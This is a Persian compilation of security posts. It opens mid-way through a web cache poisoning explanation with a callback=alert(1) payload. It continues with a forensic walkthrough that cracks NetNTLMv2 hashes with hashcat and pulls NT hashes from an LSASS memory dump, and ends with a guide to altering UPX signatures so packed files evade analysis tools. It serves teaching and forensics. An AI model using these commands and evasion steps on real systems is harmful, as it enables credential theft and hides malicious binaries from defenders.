* تحلیل از دید اپلیکیشن Rails: فریم‌ورک Rails پارامتر callback را به دلیل وجود جداکننده نامعتبر &; نادیده می‌گیرد و درخواست را معادل /?lang=en پردازش می‌کند. در نتیجه، یک پاسخ کاملاً عادی و بدون هیچ اسکریپت مخربی (مثلاً صفحه اصلی سایت به زبان انگلیسی) را برمی‌گرداند.

مرحله دوم: ذخیره پاسخ در Cache

اکنون اتفاق کلیدی رخ می‌دهد: سرور Cache پاسخ سالم و عادی اپلیکیشن را تحت کلید مسموم /?lang=en&;callback=alert(1) ذخیره می‌کند

✅#Autopsy

کالبدشکافی از ترافیک شبکه تا حافظه سیستم

تحلیل جامع فارنزیک با ابزارهای Command-Line

مقدمه: سناریو و شواهد اولیه

در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند. تیم امنیتی برای اثبات این تخلف، دو مدرک اصلی در اختیار دارد:

1۔ traffic.pcapng : این فایل، ترافیک شبکه‌ی رد و بدل شده بین کاربران و سرور را در خود دارد و به ما نشان می‌دهد «چه ارتباطاتی» برقرار شده است.

2۔ lsass.DMP : این فایل، تصویری لحظه‌ای (Snapshot) از حافظه پروسه Local Security Authority Subsystem Service یا LSASS است. این پروسه در ویندوز مسئول مدیریت احراز هویت بوده و تحلیل آن می‌تواند اطلاعات هویتی مانند هشِ رمزهای عبور را فاش کند.

فاز اول: تحلیل ترافیک شبکه و تریاژ اولیه

تحلیل فایل‌های PCAP حجیم به صورت دستی در محیط گرافیکی مانند Wireshark بسیار زمان‌بر است. بنابراین، از ابزارهای خط فرمان برای سرعت و دقت بیشتر بهره می‌بریم.

۲.۱. پردازش اولیه با Zeek

ابزار Zeek (که پیش‌تر با نام Bro شناخته می‌شد) یک فریم‌ورک قدرتمند برای تحلیل ترافیک است که بسته‌های خام شبکه را به لاگ‌های ساختاریافته و قابل درک تبدیل می‌کند.

با یک دستور ساده، Zeek را روی فایل PCAP اجرا می‌کنیم:

zeek -r traffic.pcapng

پس از اجرا، Zeek ده‌ها فایل .log تولید می‌کند که هرکدام جنبه‌ای از ترافیک را توصیف می‌کنند ( http.log , dns.log , files.log و...). برای سناریوی ما که مبتنی بر دسترسی به فایل شیرینگ ویندوز (SMB) است، مهم‌ترین فایل ntlm.log است که تمام فرآیندهای احراز هویت NTLM را ثبت کرده است. محتوای این فایل شامل نام کاربری، دامین، چالش سرور (Server Challenge) و پاسخ کاربر (NTLM Response) است که تمام مواد لازم برای فاز بعدی را فراهم می‌کند.

۲.۲. بازرسی عمیق با Tshark

ابزار Tshark ابزار خط فرمان Wireshark است و برای زمانی که نیاز به بررسی جزئیات یک پکت خاص داریم، ایده‌آل است.

برای مثال، می‌توانیم تمام تلاش‌های احراز هویت SMB را به سرعت فیلتر کرده و نام‌های کاربری را استخراج کنیم:

tshark -r traffic.pcapng -Y "smb2.cmd == 1 && smb2.ntlm" -T fields -e smb2.ntlm.auth.username

این دستور نام کاربری mrealman و کاربر دوم را به ما نشان می‌دهد.


۳. فاز دوم: استخراج و شکستن هش NetNTLMv2

پروتکل NTLMv2 از یک مکانیزم Challenge-Response برای احراز هویت استفاده می‌کند و پسورد را به صورت مستقیم در شبکه ارسال نمی‌کند. ما می‌توانیم با اطلاعاتی که از ntlm.log در Zeek به دست آوردیم، هش را بازسازی و برای شکستن آن تلاش کنیم.

۳.۱. ساخت هش برای Hashcat

با استفاده از نام کاربری، دامین، چالش و پاسخ، یک رشته با فرمت مخصوص Hashcat می‌سازیم:
username::DOMAIN:SERVER_CHALLENGE:NTProofStr:Blob

۳.۲. کرک کردن با Hashcat

دستور زیر را برای شروع حمله Dictionary اجرا می‌کنیم:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

این پارامتر -m 5600: مشخص می‌کند که نوع هش ما NetNTLMv2 است.

با اجرای این دستور، پسورد کاربر اول (mrealman) با موفقیت کشف می‌شود.

۴. فاز سوم: تحلیل حافظه و استخراج هش NT

پسورد کاربر دوم با استفاده از wordlist های رایج پیدا نشد. در این مرحله، به سراغ گنجینه دوم خود، یعنی فایل lsass.DMP می‌رویم.

۴.۱. تحلیل دامپ با Volatility 3

فریم‌ورک Volatility استاندارد طلایی در حوزه فارنزیک حافظه است و به ما اجازه می‌دهد ساختارهای داخلی حافظه سیستم‌عامل را تحلیل کنیم.

با استفاده از پلاگین windows.lsass.dmp ، تمام اطلاعات هویتی ذخیره شده در حافظه را استخراج می‌کنیم:

python3 vol.py -f lsass.DMP windows.lsass.dmp

این دستور جدولی از کاربران، دامین‌ها و از همه مهم‌تر، NT Hash آن‌ها را به ما می‌دهد. NT Hash، هش اصلی پسورد کاربر است که توسط ویندوز برای بسیاری از عملیات‌های احراز هویت استفاده می‌شود.

۵. فاز چهارم: رمزگشایی پیشرفته و جمع‌بندی نهایی

اکنون برای کاربر اول پسورد Plaintext و برای کاربر دوم NT Hash را در اختیار داریم. از این اطلاعات برای رمزگشایی ترافیک SMB رمزگذاری شده و مشاهده فایل‌های منتقل شده استفاده می‌کنیم.

✅#upx

تکنیکی ساده اما هوشمندانه

یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار :
استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای اطمینان از دستکاری نشدن آن.

در این نوشته، با دیدی عمیق‌تر در سطح تکنیک‌های (Anti-Reversing) مفاهیم را گسترش داده و راهکارهای مقابله با آن را نیز تشریح می‌کنیم.

مقدمه: فلسفه استفاده از پکرها و تکنیک‌های Anti-Analysis

در دنیای حفاظت از نرم‌افزار، پکرها ابزارهایی هستند که فایل اجرایی اصلی (PE - Portable Executable) را فشرده، رمزنگاری یا مبهم‌سازی (Obfuscate) می‌کنند. هدف اصلی این کار، کوچک‌تر کردن حجم فایل و مهم‌تر از آن، سخت‌تر کردن فرآیند مهندسی معکوس است. UPX یکی از معروف‌ترین و پراستفاده‌ترین پکرهاست که به دلیل متن-باز بودن و سادگی استفاده، محبوبیت زیادی دارد.

با این حال، به دلیل همین شهرت، تقریباً تمام ابزارهای تحلیل بدافزار و مهندسی معکوس (مانند Exeinfo PE, IDA Pro, x64dbg) قادر به شناسایی و حتی باز کردن (Unpack) خودکار فایل‌های پک شده با UPX هستند. تکنیک شرح داده شده در مقاله، دقیقاً برای مقابله با همین نقطه ضعف طراحی شده است.

کالبدشکافی فنی و مراحل اجرای تکنیک

بیایید فرآیند را قدم به قدم با جزئیات فنی دقیق باز کنیم.

مرحله ۱: ساخت یک برنامه ساده و پک کردن آن با UPX

ابتدا یک برنامه ساده (مثلاً به زبان C یا ++c) نوشته و کامپایل می‌کنیم. این برنامه می‌تواند هر عملکردی داشته باشد.

#include <iostream>
#include <windows.h> 

int main() {
    MessageBox(NULL, "This is the original program!", "Hello World", MB_OK);
    return 0;
}

پس از کامپایل، فایل اجرایی ( مثلاً SPE.exe ) را با استفاده از UPX پک می‌کنیم.

upx --best SPE.exe

در این مرحله، UPX کدهای اصلی برنامه را فشرده کرده و یک "Stub" یا "Loader" به ابتدای فایل اجرایی اضافه می‌کند. وظیفه این Stub این است که در زمان اجرا، کدهای فشرده شده را در حافظه باز کرده و سپس کنترل اجرا را به نقطه ورود اصلی (Original Entry Point - OEP) برنامه منتقل کند.

مرحله ۲: اصلاح امضای UPX (Shell Modification)

این هوشمندانه‌ترین بخش تکنیک است. فایل‌های پک شده با UPX دارای امضاهای (Signatures) مشخصی در هدر خود هستند. یکی از این امضاها، رشته "UPX\!" است که به ابزارهای تحلیل کمک می‌کند تا نوع پکر را شناسایی کنند. در ساختار فایل PE، این امضاها در بخش‌هایی که UPX ایجاد می‌کند (معمولاً UPX0 , UPX1 ) قرار دارند.

با استفاده از یک ویرایشگر هگزادسیمال (Hex Editor) مانند HxD، به دنبال مقادیر معادل رشته "UPX" یعنی 55 50 58 گشته و آن را به 35 32 30 که معادل رشته "520" است، تغییر می‌دهیم.

چرا این کار مؤثر است؟

* ابزارهایی مانند Exeinfo PE یا اسکریپت‌های Unpacker در دیباگرها، برای شناسایی پکر از جستجوی این امضای ثابت استفاده می‌کنند. با تغییر این امضا، این ابزارها دیگر قادر به تشخیص UPX نخواهند بود و فایل را به عنوان یک فایل "ناشناخته" یا "محافظت نشده" شناسایی می‌کنند. این اولین لایه گمراه‌سازی است.

* این کار باعث می‌شود Unpackerهای خودکار که به دنبال این الگو هستند، با شکست مواجه شوند و تحلیلگر مجبور به تحلیل دستی و یافتن OEP شود که فرآیندی زمان‌برتر است.

مرحله ۳: تحلیل با IDA Pro و چالش‌های آن

وقتی فایل پک شده (حتی بدون تغییر امضا) را با IDA Pro باز می‌کنیم، چیزی که می‌بینیم کد Stub لودر UPX است، نه کد اصلی برنامه. این کد وظیفه باز کردن برنامه در حافظه را دارد و تحلیل آن برای رسیدن به کد اصلی، پیچیده است.

مشکل اصلی: تحلیلگر باید نقطه پایانی روتین Unpacking و پرش نهایی به OEP را پیدا کند. این کار به صورت دستی نیازمند مهارت در اسمبلی و دیباگ کردن است.

اثر تغییر امضا: با تغییر امضا، حتی پلاگین‌ها یا اسکریپت‌های کمکی IDA که برای Unpack کردن UPX طراحی شده‌اند نیز از کار می‌افتند و تحلیلگر را کاملاً به مهارت‌های دستی خود متکی می‌کنند.

مرحله ۴ (پیشرفته): پیاده‌سازی مکانیزم خود-بررسی

این بخش، تکنیک ما را از یک "گمراه‌سازی ساده" به یک "حفاظت فعال" (Active Protection) تبدیل می‌کند. ایده این است که برنامه در زمان اجرا، خودش را در حافظه یا روی دیسک بررسی کند تا مطمئن شود که امضای "520" هنوز وجود دارد. اگر کسی برنامه را با موفقیت Unpack کند یا امضا را به حالت اول (UPX) برگرداند، این بررسی با شکست مواجه شده و برنامه از اجرا خارج می‌شود.